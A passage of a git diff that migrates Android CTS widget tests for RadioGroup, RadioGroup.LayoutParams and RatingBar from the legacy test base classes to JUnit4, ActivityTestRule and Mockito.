+        assertOnCheckedChangedParams(listener, 0, mRadioGroup, -1);
 
         listener.reset();
-        mDefaultRadioGroup.check(4);
+        mRadioGroup.check(4);
         // why the method is called while none of the inside buttons has been changed
         assertHasCalledOnCheckedChanged(listener);
-        assertOnCheckedChangedParams(listener, 0, mDefaultRadioGroup, 4);
+        assertOnCheckedChangedParams(listener, 0, mRadioGroup, 4);
 
         // Set listener to null
-        mDefaultRadioGroup.setOnCheckedChangeListener(null);
+        mRadioGroup.setOnCheckedChangeListener(null);
         // no exceptions thrown during the following method
-        mDefaultRadioGroup.check(0);
+        mRadioGroup.check(0);
     }
 
     @UiThreadTest
+    @Test
     public void testSetOnCheckedChangeListener() {
         MockOnCheckedChangeListener listener = new MockOnCheckedChangeListener();
-        mDefaultRadioGroup.setOnCheckedChangeListener(listener);
+        mRadioGroup.setOnCheckedChangeListener(listener);
 
         listener.reset();
-        mDefaultRadioGroup.check(BUTTON_ID_0);
+        mRadioGroup.check(R.id.radio_button_0);
         assertHasCalledOnCheckedChanged(listener);
 
         // does not call the method if the button the id is already checked
         listener.reset();
-        mDefaultRadioGroup.check(BUTTON_ID_0);
+        mRadioGroup.check(R.id.radio_button_0);
         assertHaveNotCalledOnCheckedChanged(listener);
 
         // call the method if none of the buttons inside the group has the id
         listener.reset();
-        mDefaultRadioGroup.check(-3);
+        mRadioGroup.check(-3);
         assertHasCalledOnCheckedChanged(listener);
 
         // does not call the method if the button the id is already checked
         // and none of the buttons inside the group has the id
         listener.reset();
-        mDefaultRadioGroup.check(-3);
+        mRadioGroup.check(-3);
         assertHaveNotCalledOnCheckedChanged(listener);
 
         // always call the method if the checked id is -1
         listener.reset();
-        mDefaultRadioGroup.clearCheck();
+        mRadioGroup.clearCheck();
         assertHasCalledOnCheckedChanged(listener);
 
         listener.reset();
-        mDefaultRadioGroup.check(-1);
+        mRadioGroup.check(-1);
         assertHasCalledOnCheckedChanged(listener);
 
         // Set listener to null
-        mDefaultRadioGroup.setOnCheckedChangeListener(null);
+        mRadioGroup.setOnCheckedChangeListener(null);
         // no exceptions thrown during the following method
-        mDefaultRadioGroup.check(0);
+        mRadioGroup.check(0);
     }
 
+    @Test
     public void testGenerateLayoutParams() {
-        mDefaultRadioGroup = new RadioGroup(mContext);
         RadioGroup.LayoutParams layoutParams =
-            mDefaultRadioGroup.generateLayoutParams((AttributeSet) null);
+            mRadioGroup.generateLayoutParams((AttributeSet) null);
         assertNotNull(layoutParams);
         // default values
         assertEquals(0.0, layoutParams.weight, 0);
@@ -299,7 +312,7 @@
         assertEquals(LayoutParams.WRAP_CONTENT, layoutParams.height);
 
         AttributeSet attrs = getAttributeSet(R.layout.radiogroup_1);
-        layoutParams = mDefaultRadioGroup.generateLayoutParams(attrs);
+        layoutParams = mRadioGroup.generateLayoutParams(attrs);
         // values from layout
         assertNotNull(layoutParams);
         assertEquals(0.5, layoutParams.weight, 0);
@@ -312,8 +325,9 @@
         assertEquals(LayoutParams.MATCH_PARENT, layoutParams.height);
     }
 
+    @Test
     public void testCheckLayoutParams() {
-        MockRadioGroup mRadioGroupWrapper = new MockRadioGroup(mContext);
+        MockRadioGroup mRadioGroupWrapper = new MockRadioGroup(mActivity);
 
         assertFalse(mRadioGroupWrapper.checkLayoutParams(null));
 
@@ -330,8 +344,9 @@
         assertTrue(mRadioGroupWrapper.checkLayoutParams(radioParams));
     }
 
+    @Test
     public void testGenerateDefaultLayoutParams() {
-        MockRadioGroup radioGroupWrapper = new MockRadioGroup(mContext);
+        MockRadioGroup radioGroupWrapper = new MockRadioGroup(mActivity);
         LinearLayout.LayoutParams p = radioGroupWrapper.generateDefaultLayoutParams();
 
         assertTrue(p instanceof RadioGroup.LayoutParams);
@@ -340,13 +355,14 @@
     }
 
     @UiThreadTest
+    @Test
     public void testOnFinishInflate() {
-        MockRadioGroup radioGroup = new MockRadioGroup(mContext);
+        MockRadioGroup radioGroup = new MockRadioGroup(mActivity);
         int checkId = 100;
         radioGroup.check(checkId);
         // the button is added after the check(int)method
         // and it not checked though it has exactly the checkId
-        RadioButton button = new RadioButton(mContext);
+        RadioButton button = new RadioButton(mActivity);
         button.setId(checkId);
         radioGroup.addView(button, new LinearLayout.LayoutParams(
                 LinearLayout.LayoutParams.WRAP_CONTENT, LinearLayout.LayoutParams.WRAP_CONTENT));
@@ -361,8 +377,8 @@
         assertHasCalledOnCheckedChanged(listener);
         assertEquals(checkId, radioGroup.getCheckedRadioButtonId());
 
-        radioGroup = new MockRadioGroup(mContext);
-        button = new RadioButton(mContext);
+        radioGroup = new MockRadioGroup(mActivity);
+        button = new RadioButton(mActivity);
         radioGroup.addView(button, new LinearLayout.LayoutParams(
                 LinearLayout.LayoutParams.WRAP_CONTENT, LinearLayout.LayoutParams.WRAP_CONTENT));
         listener = new MockOnCheckedChangeListener();
@@ -379,55 +395,24 @@
     }
 
     @UiThreadTest
+    @Test
     public void testAddView() {
-        mDefaultRadioGroup.check(BUTTON_ID_0);
-        assertEquals(BUTTON_ID_0, mDefaultRadioGroup.getCheckedRadioButtonId());
-        assertEquals(4, mDefaultRadioGroup.getChildCount());
+        mRadioGroup.check(R.id.radio_button_0);
+        assertEquals(R.id.radio_button_0, mRadioGroup.getCheckedRadioButtonId());
+        assertEquals(4, mRadioGroup.getChildCount());
 
-        int id = BUTTON_ID_3 + 10;
-        RadioButton choice4 = new RadioButton(mContext);
+        int id = R.id.radio_button_3 + 10;
+        RadioButton choice4 = new RadioButton(mActivity);
         choice4.setText("choice4");
         choice4.setId(id);
         choice4.setChecked(true);
-        mDefaultRadioGroup.addView(choice4, 4, new ViewGroup.LayoutParams(100, 200));
-        assertEquals(id, mDefaultRadioGroup.getCheckedRadioButtonId());
-        assertEquals(5, mDefaultRadioGroup.getChildCount());
-    }
-
-    /**
-     * Initialises the group with 4 RadioButtons which IDs are
-     * BUTTON_ID_0, BUTTON_ID_1, BUTTON_ID_2, BUTTON_ID_3.
-     */
-    private RadioGroup createDefaultRadioGroup() {
-        RadioGroup radioGroup = new RadioGroup(mContext);
-        RadioGroup.LayoutParams params = new RadioGroup.LayoutParams(
-                RadioGroup.LayoutParams.WRAP_CONTENT, RadioGroup.LayoutParams.WRAP_CONTENT);
-
-        RadioButton choice0 = new RadioButton(mContext);
-        choice0.setText("choice0");
-        choice0.setId(BUTTON_ID_0);
-        radioGroup.addView(choice0, params);
-
-        RadioButton choice1 = new RadioButton(mContext);
-        choice1.setText("choice1");
-        choice1.setId(BUTTON_ID_1);
-        radioGroup.addView(choice1, params);
-
-        RadioButton choice2 = new RadioButton(mContext);
-        choice2.setText("choice2");
-        choice2.setId(BUTTON_ID_2);
-        radioGroup.addView(choice2, params);
-
-        RadioButton choice3 = new RadioButton(mContext);
-        choice3.setText("choice3");
-        choice3.setId(BUTTON_ID_3);
-        radioGroup.addView(choice3, params);
-
-        return radioGroup;
+        mRadioGroup.addView(choice4, 4, new ViewGroup.LayoutParams(100, 200));
+        assertEquals(id, mRadioGroup.getCheckedRadioButtonId());
+        assertEquals(5, mRadioGroup.getChildCount());
     }
 
     private AttributeSet getAttributeSet(int resId) {
-        XmlPullParser parser = mContext.getResources().getLayout(resId);
+        XmlPullParser parser = mActivity.getResources().getLayout(resId);
         assertNotNull(parser);
         int type = 0;
         try {
@@ -531,7 +516,7 @@
         }
     }
 
-    private class MockRadioGroup extends RadioGroup {
+    public static class MockRadioGroup extends RadioGroup {
         public MockRadioGroup(Context context) {
             super(context);
         }
diff --git a/tests/tests/widget/src/android/widget/cts/RadioGroup_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/RadioGroup_LayoutParamsTest.java
index 37cd632..d7aecfd 100644
--- a/tests/tests/widget/src/android/widget/cts/RadioGroup_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RadioGroup_LayoutParamsTest.java
@@ -16,82 +16,82 @@
 
 package android.widget.cts;
 
-import android.R;
-
-
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
 
 import android.content.Context;
 import android.content.res.TypedArray;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.Gravity;
 import android.view.ViewGroup;
-import android.view.ViewGroup.MarginLayoutParams;
 import android.widget.RadioGroup;
-import android.widget.RadioGroup.LayoutParams;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
 
 import java.io.IOException;
 
 /**
- * Test {@link LayoutParams}.
+ * Test {@link RadioGroup.LayoutParams}.
  */
-public class RadioGroup_LayoutParamsTest extends AndroidTestCase {
-    private LayoutParams mLayoutParams;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RadioGroup_LayoutParamsTest {
+    private Context mContext;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mLayoutParams = null;
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
     }
 
+    @Test
     public void testConstructor() {
-        mLayoutParams = new RadioGroup.LayoutParams(Integer.MIN_VALUE, Integer.MAX_VALUE);
+        RadioGroup.LayoutParams mLayoutParams =
+                new RadioGroup.LayoutParams(Integer.MIN_VALUE, Integer.MAX_VALUE);
         assertEquals(Integer.MIN_VALUE, mLayoutParams.width);
         assertEquals(Integer.MAX_VALUE, mLayoutParams.height);
-        assertEquals(0.0f, mLayoutParams.weight);
+        assertEquals(0.0f, mLayoutParams.weight, 0.0f);
 
         mLayoutParams = new RadioGroup.LayoutParams(Integer.MAX_VALUE, Integer.MIN_VALUE);
         assertEquals(Integer.MAX_VALUE, mLayoutParams.width);
         assertEquals(Integer.MIN_VALUE, mLayoutParams.height);
-        assertEquals(0.0f, mLayoutParams.weight);
+        assertEquals(0.0f, mLayoutParams.weight, 0.0f);
 
         mLayoutParams = new RadioGroup.LayoutParams(Integer.MIN_VALUE, Integer.MAX_VALUE,
                 Float.MAX_VALUE);
         assertEquals(Integer.MIN_VALUE, mLayoutParams.width);
         assertEquals(Integer.MAX_VALUE, mLayoutParams.height);
-        assertEquals(Float.MAX_VALUE, mLayoutParams.weight);
+        assertEquals(Float.MAX_VALUE, mLayoutParams.weight, 0.0f);
 
         mLayoutParams = new RadioGroup.LayoutParams(Integer.MIN_VALUE, Integer.MAX_VALUE,
                 Float.MIN_VALUE);
         assertEquals(Integer.MIN_VALUE, mLayoutParams.width);
         assertEquals(Integer.MAX_VALUE, mLayoutParams.height);
-        assertEquals(Float.MIN_VALUE, mLayoutParams.weight);
+        assertEquals(Float.MIN_VALUE, mLayoutParams.weight, 0.0f);
 
         mLayoutParams = new RadioGroup.LayoutParams(new ViewGroup.LayoutParams(40, 60));
         assertEquals(40, mLayoutParams.width);
         assertEquals(60, mLayoutParams.height);
-        assertEquals(0.0f, mLayoutParams.weight);
+        assertEquals(0.0f, mLayoutParams.weight, 0.0f);
 
-        try {
-            new RadioGroup.LayoutParams((ViewGroup.LayoutParams) null);
-            fail("The constructor should throw NullPointerException when param "
-                    + "ViewGroup.LayoutParams is null.");
-        } catch (NullPointerException e) {
-        }
-
-        mLayoutParams = new RadioGroup.LayoutParams(new MarginLayoutParams(100, 200));
+        mLayoutParams = new RadioGroup.LayoutParams(new ViewGroup.MarginLayoutParams(100, 200));
         assertEquals(100, mLayoutParams.width);
         assertEquals(200, mLayoutParams.height);
-        assertEquals(0.0f, mLayoutParams.weight);
+        assertEquals(0.0f, mLayoutParams.weight, 0.0f);
         assertEquals(0, mLayoutParams.leftMargin);
         assertEquals(0, mLayoutParams.topMargin);
         assertEquals(0, mLayoutParams.rightMargin);
         assertEquals(0, mLayoutParams.bottomMargin);
 
-        MarginLayoutParams source = new MarginLayoutParams(10, 20);
+        ViewGroup.MarginLayoutParams source = new ViewGroup.MarginLayoutParams(10, 20);
         source.leftMargin = 1;
         source.topMargin = 2;
         source.rightMargin = 3;
@@ -100,57 +100,60 @@
         mLayoutParams = new RadioGroup.LayoutParams(source);
         assertEquals(10, mLayoutParams.width);
         assertEquals(20, mLayoutParams.height);
-        assertEquals(0.0f, mLayoutParams.weight);
+        assertEquals(0.0f, mLayoutParams.weight, 0.0f);
         assertEquals(1, mLayoutParams.leftMargin);
         assertEquals(2, mLayoutParams.topMargin);
         assertEquals(3, mLayoutParams.rightMargin);
         assertEquals(4, mLayoutParams.bottomMargin);
 
-        try {
-            new RadioGroup.LayoutParams((MarginLayoutParams) null);
-            fail("The constructor should throw NullPointerException when param "
-                    + "MarginLayoutParams is null.");
-        } catch (NullPointerException e) {
-        }
-
-        mLayoutParams = new LayoutParams(getContext(),
-                getAttributeSet(android.widget.cts.R.layout.radiogroup_1));
+        mLayoutParams = new RadioGroup.LayoutParams(mContext,
+                getAttributeSet(R.layout.radiogroup_1));
         assertNotNull(mLayoutParams);
-        assertEquals(0.5, mLayoutParams.weight, 0);
+        assertEquals(0.5, mLayoutParams.weight, 0.0f);
         assertEquals(Gravity.BOTTOM, mLayoutParams.gravity);
         assertEquals(5, mLayoutParams.leftMargin);
         assertEquals(5, mLayoutParams.topMargin);
         assertEquals(5, mLayoutParams.rightMargin);
         assertEquals(5, mLayoutParams.bottomMargin);
-        assertEquals(LayoutParams.MATCH_PARENT, mLayoutParams.width);
-        assertEquals(LayoutParams.MATCH_PARENT, mLayoutParams.height);
+        assertEquals(RadioGroup.LayoutParams.MATCH_PARENT, mLayoutParams.width);
+        assertEquals(RadioGroup.LayoutParams.MATCH_PARENT, mLayoutParams.height);
 
-        mLayoutParams = new RadioGroup.LayoutParams(getContext(), null);
+        mLayoutParams = new RadioGroup.LayoutParams(mContext, null);
         assertEquals(RadioGroup.LayoutParams.WRAP_CONTENT, mLayoutParams.width);
         assertEquals(RadioGroup.LayoutParams.WRAP_CONTENT, mLayoutParams.height);
-
-        try {
-            new RadioGroup.LayoutParams(null,
-                    getAttributeSet(android.widget.cts.R.layout.radiogroup_1));
-            fail("The constructor should throw NullPointerException when param Context is null.");
-        } catch (NullPointerException e) {
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullViewGroupLayoutParams() {
+        new RadioGroup.LayoutParams((ViewGroup.LayoutParams) null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullMarginLayoutParams() {
+        new RadioGroup.LayoutParams((ViewGroup.MarginLayoutParams) null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext() {
+        new RadioGroup.LayoutParams(null, getAttributeSet(R.layout.radiogroup_1));
+    }
+
+    @Test
     public void testSetBaseAttributes() {
-        MockLayoutParams layoutParams = new MockLayoutParams(getContext(), null);
+        MockLayoutParams layoutParams = new MockLayoutParams(mContext, null);
         // default values
-        assertEquals(LayoutParams.WRAP_CONTENT, layoutParams.width);
-        assertEquals(LayoutParams.WRAP_CONTENT, layoutParams.height);
+        assertEquals(RadioGroup.LayoutParams.WRAP_CONTENT, layoutParams.width);
+        assertEquals(RadioGroup.LayoutParams.WRAP_CONTENT, layoutParams.height);
 
         AttributeSet attrs = getAttributeSet(android.widget.cts.R.layout.radiogroup_1);
-        TypedArray a = mContext.obtainStyledAttributes(attrs, R.styleable.ViewGroup_MarginLayout);
+        TypedArray a = mContext.obtainStyledAttributes(attrs,
+                android.R.styleable.ViewGroup_MarginLayout);
         layoutParams.setBaseAttributes(a,
-                R.styleable.ViewGroup_MarginLayout_layout_width,
-                R.styleable.ViewGroup_MarginLayout_layout_height);
+                android.R.styleable.ViewGroup_MarginLayout_layout_width,
+                android.R.styleable.ViewGroup_MarginLayout_layout_height);
         // check the attributes from the layout file
-        assertEquals(LayoutParams.MATCH_PARENT, layoutParams.width);
-        assertEquals(LayoutParams.MATCH_PARENT, layoutParams.height);
+        assertEquals(RadioGroup.LayoutParams.MATCH_PARENT, layoutParams.width);
+        assertEquals(RadioGroup.LayoutParams.MATCH_PARENT, layoutParams.height);
     }
 
     private AttributeSet getAttributeSet(int resId) {
diff --git a/tests/tests/widget/src/android/widget/cts/RatingBarCtsActivity.java b/tests/tests/widget/src/android/widget/cts/RatingBarCtsActivity.java
index 1a9cb40..aea46a0 100644
--- a/tests/tests/widget/src/android/widget/cts/RatingBarCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/RatingBarCtsActivity.java
@@ -18,7 +18,6 @@
 
 import android.app.Activity;
 import android.os.Bundle;
-
 import android.widget.cts.R;
 
 /**
diff --git a/tests/tests/widget/src/android/widget/cts/RatingBarTest.java b/tests/tests/widget/src/android/widget/cts/RatingBarTest.java
index 669e7a1..0725c10 100644
--- a/tests/tests/widget/src/android/widget/cts/RatingBarTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RatingBarTest.java
@@ -16,235 +16,183 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
+import static org.mockito.Mockito.verifyZeroInteractions;
 
-import android.content.Context;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.widget.RatingBar;
-import android.widget.RatingBar.OnRatingBarChangeListener;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test {@link RatingBar}.
  */
-public class RatingBarTest extends ActivityInstrumentationTestCase2<RatingBarCtsActivity> {
-    private Context mContext;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RatingBarTest {
     private RatingBarCtsActivity mActivity;
+    private RatingBar mRatingBar;
 
-    public RatingBarTest() {
-        super("android.widget.cts", RatingBarCtsActivity.class);
+    @Rule
+    public ActivityTestRule<RatingBarCtsActivity> mActivityRule =
+            new ActivityTestRule<>(RatingBarCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        mRatingBar = (RatingBar) mActivity.findViewById(R.id.ratingbar_constructor);
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        assertNotNull(mActivity);
-        mContext = getInstrumentation().getContext();
-    }
-
+    @Test
     public void testConstructor() {
-        new RatingBar(mContext, null, android.R.attr.ratingBarStyle);
+        new RatingBar(mActivity);
+        new RatingBar(mActivity, null);
+        new RatingBar(mActivity, null, android.R.attr.ratingBarStyle);
+        new RatingBar(mActivity, null, 0, android.R.style.Widget_DeviceDefault_RatingBar);
+        new RatingBar(mActivity, null, 0, android.R.style.Widget_DeviceDefault_RatingBar_Indicator);
+        new RatingBar(mActivity, null, 0, android.R.style.Widget_DeviceDefault_RatingBar_Small);
+        new RatingBar(mActivity, null, 0, android.R.style.Widget_Material_RatingBar);
+        new RatingBar(mActivity, null, 0, android.R.style.Widget_Material_RatingBar_Indicator);
+        new RatingBar(mActivity, null, 0, android.R.style.Widget_Material_RatingBar_Small);
+        new RatingBar(mActivity, null, 0, android.R.style.Widget_Material_Light_RatingBar);
+        new RatingBar(mActivity, null, 0, android.R.style.Widget_Material_Light_RatingBar_Indicator);
+        new RatingBar(mActivity, null, 0, android.R.style.Widget_Material_Light_RatingBar_Small);
+    }
 
-        new RatingBar(mContext, null);
-
-        new RatingBar(mContext);
-
-        RatingBar ratingBar = (RatingBar) mActivity.findViewById(R.id.ratingbar_constructor);
-        assertNotNull(ratingBar);
-        assertFalse(ratingBar.isIndicator());
-        assertEquals(50, ratingBar.getNumStars());
-        assertEquals(1.2f, ratingBar.getRating());
-        assertEquals(0.2f, ratingBar.getStepSize());
+    @Test
+    public void testAttributesFromLayout() {
+        assertFalse(mRatingBar.isIndicator());
+        assertEquals(50, mRatingBar.getNumStars());
+        assertEquals(1.2f, mRatingBar.getRating(), 0.0f);
+        assertEquals(0.2f, mRatingBar.getStepSize(), 0.0f);
     }
 
     @UiThreadTest
+    @Test
     public void testAccessOnRatingBarChangeListener() {
-        RatingBar ratingBar = (RatingBar)mActivity.findViewById(R.id.ratingbar_constructor);
+        final RatingBar.OnRatingBarChangeListener listener =
+                mock(RatingBar.OnRatingBarChangeListener.class);
+        mRatingBar.setOnRatingBarChangeListener(listener);
+        assertSame(listener, mRatingBar.getOnRatingBarChangeListener());
+        verifyZeroInteractions(listener);
 
-        MockOnRatingBarChangeListener listener = new MockOnRatingBarChangeListener();
-
-        // set OnRatingBarChangeListener
         // normal value
-        ratingBar.setOnRatingBarChangeListener(listener);
-        assertSame(listener, ratingBar.getOnRatingBarChangeListener());
-        ratingBar.setRating(2.2f);
-        assertTrue(listener.hasCalledOnRatingChanged());
+        mRatingBar.setRating(2.2f);
+        verify(listener, times(1)).onRatingChanged(mRatingBar, 2.2f, false);
 
         // exceptional value
-        listener.reset();
-        ratingBar.setOnRatingBarChangeListener(null);
-        assertNull(ratingBar.getOnRatingBarChangeListener());
-        ratingBar.setRating(1.2f);
-        assertFalse(listener.hasCalledOnRatingChanged());
+        mRatingBar.setOnRatingBarChangeListener(null);
+        assertNull(mRatingBar.getOnRatingBarChangeListener());
+        mRatingBar.setRating(1.2f);
+        verifyNoMoreInteractions(listener);
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessIndicator() {
-        RatingBar ratingBar = new RatingBar(mContext);
+        mRatingBar.setIsIndicator(true);
+        assertTrue(mRatingBar.isIndicator());
 
-        ratingBar.setIsIndicator(true);
-        assertTrue(ratingBar.isIndicator());
-
-        ratingBar.setIsIndicator(false);
-        assertFalse(ratingBar.isIndicator());
+        mRatingBar.setIsIndicator(false);
+        assertFalse(mRatingBar.isIndicator());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessNumStars() {
-        MockRatingBar mockRatingBar = new MockRatingBar(mContext);
-
-        // set NumStars
         // normal value
-        assertFalse(mockRatingBar.hasCalledRequestLayout());
-        mockRatingBar.setNumStars(20);
-        assertTrue(mockRatingBar.hasCalledRequestLayout());
-        assertEquals(20, mockRatingBar.getNumStars());
+        mRatingBar.setNumStars(20);
+        assertEquals(20, mRatingBar.getNumStars());
 
-        // exceptional value
-        mockRatingBar.reset();
-        mockRatingBar.setNumStars(-10);
-        assertFalse(mockRatingBar.hasCalledRequestLayout());
-        assertEquals(20, mockRatingBar.getNumStars());
+        // invalid value - the currently set one stays
+        mRatingBar.setNumStars(-10);
+        assertEquals(20, mRatingBar.getNumStars());
 
-        mockRatingBar.reset();
-        mockRatingBar.setNumStars(Integer.MAX_VALUE);
-        assertTrue(mockRatingBar.hasCalledRequestLayout());
-        assertEquals(Integer.MAX_VALUE, mockRatingBar.getNumStars());
+        mRatingBar.setNumStars(Integer.MAX_VALUE);
+        assertEquals(Integer.MAX_VALUE, mRatingBar.getNumStars());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessRating() {
-        RatingBar ratingBar = new RatingBar(mContext);
-
-        // set Rating
         // normal value
-        ratingBar.setRating(2.0f);
-        assertEquals(2.0f, ratingBar.getRating());
+        mRatingBar.setRating(2.0f);
+        assertEquals(2.0f, mRatingBar.getRating(), 0.0f);
 
         // exceptional value
-        ratingBar.setRating(-2.0f);
-        assertEquals(0f, ratingBar.getRating());
+        mRatingBar.setRating(-2.0f);
+        assertEquals(0f, mRatingBar.getRating(), 0.0f);
 
-        ratingBar.setRating(Float.MAX_VALUE);
-        assertEquals((float) ratingBar.getNumStars(), ratingBar.getRating());
+        mRatingBar.setRating(Float.MAX_VALUE);
+        assertEquals((float) mRatingBar.getNumStars(), mRatingBar.getRating(), 0.0f);
     }
 
+    @UiThreadTest
+    @Test
     public void testSetMax() {
-        RatingBar ratingBar = new RatingBar(mContext);
-
         // normal value
-        ratingBar.setMax(10);
-        assertEquals(10, ratingBar.getMax());
+        mRatingBar.setMax(10);
+        assertEquals(10, mRatingBar.getMax());
 
-        ratingBar.setProgress(10);
+        mRatingBar.setProgress(10);
 
         // exceptional values
-        ratingBar.setMax(-10);
-        assertEquals(10, ratingBar.getMax());
-        assertEquals(10, ratingBar.getProgress());
+        mRatingBar.setMax(-10);
+        assertEquals(10, mRatingBar.getMax());
+        assertEquals(10, mRatingBar.getProgress());
 
-        ratingBar.setMax(Integer.MAX_VALUE);
-        assertEquals(Integer.MAX_VALUE, ratingBar.getMax());
+        mRatingBar.setMax(Integer.MAX_VALUE);
+        assertEquals(Integer.MAX_VALUE, mRatingBar.getMax());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessStepSize() {
-        RatingBar ratingBar = new RatingBar(mContext);
-
         // normal value
-        ratingBar.setStepSize(1.5f);
-        float expectedMax = ratingBar.getNumStars() / ratingBar.getStepSize();
-        float expectedProgress = expectedMax / ratingBar.getMax() * ratingBar.getProgress();
-        assertEquals((int) expectedMax, ratingBar.getMax());
-        assertEquals((int) expectedProgress, ratingBar.getProgress());
-        assertEquals((float) ratingBar.getNumStars() / (int) (ratingBar.getNumStars() / 1.5f),
-                ratingBar.getStepSize());
+        mRatingBar.setStepSize(1.5f);
+        final float expectedMax = mRatingBar.getNumStars() / mRatingBar.getStepSize();
+        final float expectedProgress = expectedMax / mRatingBar.getMax() * mRatingBar.getProgress();
+        assertEquals((int) expectedMax, mRatingBar.getMax());
+        assertEquals((int) expectedProgress, mRatingBar.getProgress());
+        assertEquals((float) mRatingBar.getNumStars() / (int) (mRatingBar.getNumStars() / 1.5f),
+                mRatingBar.getStepSize(), 0.0f);
 
-        int currentMax = ratingBar.getMax();
-        int currentProgress = ratingBar.getProgress();
-        float currentStepSize = ratingBar.getStepSize();
+        final int currentMax = mRatingBar.getMax();
+        final int currentProgress = mRatingBar.getProgress();
+        final float currentStepSize = mRatingBar.getStepSize();
         // exceptional value
-        ratingBar.setStepSize(-1.5f);
-        assertEquals(currentMax, ratingBar.getMax());
-        assertEquals(currentProgress, ratingBar.getProgress());
-        assertEquals(currentStepSize, ratingBar.getStepSize());
+        mRatingBar.setStepSize(-1.5f);
+        assertEquals(currentMax, mRatingBar.getMax());
+        assertEquals(currentProgress, mRatingBar.getProgress());
+        assertEquals(currentStepSize, mRatingBar.getStepSize(), 0.0f);
 
-        ratingBar.setStepSize(0f);
-        assertEquals(currentMax, ratingBar.getMax());
-        assertEquals(currentProgress, ratingBar.getProgress());
-        assertEquals(currentStepSize, ratingBar.getStepSize());
+        mRatingBar.setStepSize(0f);
+        assertEquals(currentMax, mRatingBar.getMax());
+        assertEquals(currentProgress, mRatingBar.getProgress());
+        assertEquals(currentStepSize, mRatingBar.getStepSize(), 0.0f);
 
-        ratingBar.setStepSize(ratingBar.getNumStars() + 0.1f);
-        assertEquals(currentMax, ratingBar.getMax());
-        assertEquals(currentProgress, ratingBar.getProgress());
-        assertEquals(currentStepSize, ratingBar.getStepSize());
+        mRatingBar.setStepSize(mRatingBar.getNumStars() + 0.1f);
+        assertEquals(currentMax, mRatingBar.getMax());
+        assertEquals(currentProgress, mRatingBar.getProgress());
+        assertEquals(currentStepSize, mRatingBar.getStepSize(), 0.0f);
 
-        ratingBar.setStepSize(Float.MAX_VALUE);
-        assertEquals(currentMax, ratingBar.getMax());
-        assertEquals(currentProgress, ratingBar.getProgress());
-        assertEquals(currentStepSize, ratingBar.getStepSize());
-    }
-
-    /**
-     * The listener interface for receiving OnRatingBarChangeListener events.
-     * The class that is interested in processing a OnRatingBarChangeListener
-     * event implements this interface, and the object created with that class
-     * is registered with a component using the component's
-     * <code>setOnRatingBarChangeListener<code> method. When
-     * the OnRatingBarChangeListener event occurs, that object's appropriate
-     * method is invoked.
-     */
-    private class MockOnRatingBarChangeListener implements OnRatingBarChangeListener {
-        private boolean mCalledOnRatingChanged = false;
-
-        boolean hasCalledOnRatingChanged() {
-            return mCalledOnRatingChanged;
-        }
-
-        /*
-         * (non-Javadoc)
-         * @see android.widget.RadioGroup.OnRatingBarChangeListener#onRatingChanged
-         * (RatingBar ratingBar, float rating, boolean fromTouch)
-         */
-        public void onRatingChanged(RatingBar ratingBar, float rating, boolean fromTouch) {
-            mCalledOnRatingChanged = true;
-        }
-
-        public void reset() {
-            mCalledOnRatingChanged = false;
-        }
-    }
-
-    /*
-     * Mock class for ProgressBar to test protected methods
-     */
-    private class MockRatingBar extends RatingBar {
-        public MockRatingBar(Context context) {
-            super(context);
-        }
-
-        private boolean mCalledOnMeasure = false;
-        private boolean mCalledRequestLayout = false;
-
-        public boolean hasCalledOnMeasure() {
-            return mCalledOnMeasure;
-        }
-
-        @Override
-        protected synchronized void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
-            mCalledOnMeasure = true;
-            super.onMeasure(widthMeasureSpec, heightMeasureSpec);
-        }
-
-        public void requestLayout() {
-            mCalledRequestLayout = true;
-            super.requestLayout();
-        }
-
-        public boolean hasCalledRequestLayout() {
-            return mCalledRequestLayout;
-        }
-
-        public void reset() {
-            mCalledOnMeasure = false;
-            mCalledRequestLayout = false;
-        }
+        mRatingBar.setStepSize(Float.MAX_VALUE);
+        assertEquals(currentMax, mRatingBar.getMax());
+        assertEquals(currentProgress, mRatingBar.getProgress());
+        assertEquals(currentStepSize, mRatingBar.getStepSize(), 0.0f);
     }
 }
